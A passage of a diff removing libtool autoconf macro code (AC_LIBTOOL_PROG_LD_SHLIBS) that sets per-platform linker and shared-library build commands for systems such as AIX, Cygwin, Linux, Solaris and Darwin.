-wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_AC_TAGVAR(lt_prog_compiler_static, $1)\"
-AC_LIBTOOL_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works],
- _LT_AC_TAGVAR(lt_prog_compiler_static_works, $1),
- $lt_tmp_static_flag,
- [],
- [_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=])
-])
-m4trace:acinclude.m4:5946: -1- AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
-ifelse([$1],[CXX],[
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- case $host_os in
- aix4* | aix5*)
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- else
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- fi
- ;;
- pw32*)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
- ;;
- cygwin* | mingw*)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/;/^.* __nm__/s/^.* __nm__\([[^ ]]*\) [[^ ]]*/\1 DATA/;/^I /d;/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- *)
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- ;;
- esac
-],[
- runpath_var=
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
- _LT_AC_TAGVAR(archive_cmds, $1)=
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)=
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)=
- _LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1)=
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- _LT_AC_TAGVAR(thread_safe_flag_spec, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
- _LT_AC_TAGVAR(hardcode_automatic, $1)=no
- _LT_AC_TAGVAR(module_cmds, $1)=
- _LT_AC_TAGVAR(module_expsym_cmds, $1)=
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- _LT_AC_TAGVAR(include_expsyms, $1)=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- _LT_AC_TAGVAR(exclude_expsyms, $1)="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- _LT_CC_BASENAME([$compiler])
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- _LT_AC_TAGVAR(ld_shlibs, $1)=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
- # as there is no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=no
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]] /s/.* \([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- interix3*)
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- fi
- ;;
- esac
-
- if test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no; then
- runpath_var=
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- else
- _LT_AC_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\[$]2 == "T") || (\[$]2 == "D") || (\[$]2 == "B")) && ([substr](\[$]3,1,1) != ".")) { print \[$]3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- _LT_AC_TAGVAR(archive_cmds, $1)=''
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[[012]]|aix4.[[012]].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=yes
- else
- # We have old collect2
- _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- _LT_AC_TAGVAR(always_export_symbols, $1)=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- _LT_AC_SYS_LIBPATH_AIX
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
- # see comment about different semantics on the GNU ld section
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- bsdi[[45]]*)
- _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
- _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true'
- # FIXME: Should let the user specify the lib program.
- _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs'
- _LT_AC_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`'
- _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[[012]])
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
- _LT_AC_TAGVAR(hardcode_direct, $1)=no
- _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
- _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
- _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
- _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
- ;;
-
- freebsd1*)
- _LT_AC_TAGVAR(ld_shlibs, $1)=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
